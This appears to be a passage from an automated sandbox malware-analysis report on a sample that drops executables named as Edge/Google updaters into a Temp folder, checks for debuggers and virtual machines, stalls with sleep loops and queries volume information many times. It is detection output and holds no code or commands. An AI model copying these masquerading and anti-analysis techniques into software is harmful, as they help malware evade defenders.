Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe TID: 4944	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe TID: 1720	Thread sleep count: 3397 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe TID: 1720	Thread sleep count: 5631 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe TID: 4944	Thread sleep count: 692 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe TID: 4944	Thread sleep count: 143 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe TID: 432	Thread sleep count: 6141 > 30
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe TID: 1344	Thread sleep time: -13835058055282155s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe TID: 5672	Thread sleep count: 3382 > 30
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe TID: 3396	Thread sleep time: -13835058055282155s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe TID: 5312	Thread sleep count: 4832 > 30
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe TID: 5312	Thread sleep count: 4747 > 30

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user\AppData\Local\Temp\EdgeUpdater	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: LKMService.exe, 00000001.00000002.3546175725.0000000006AC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllA
Source: LKMService.exe, 0000000E.00000002.3528783127.0000000000C85000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdater.exe, 0000000F.00000002.3529451244.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe "C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe"			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Process created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe "C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe" --checker			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Queries volume information: C:\ VolumeInformation
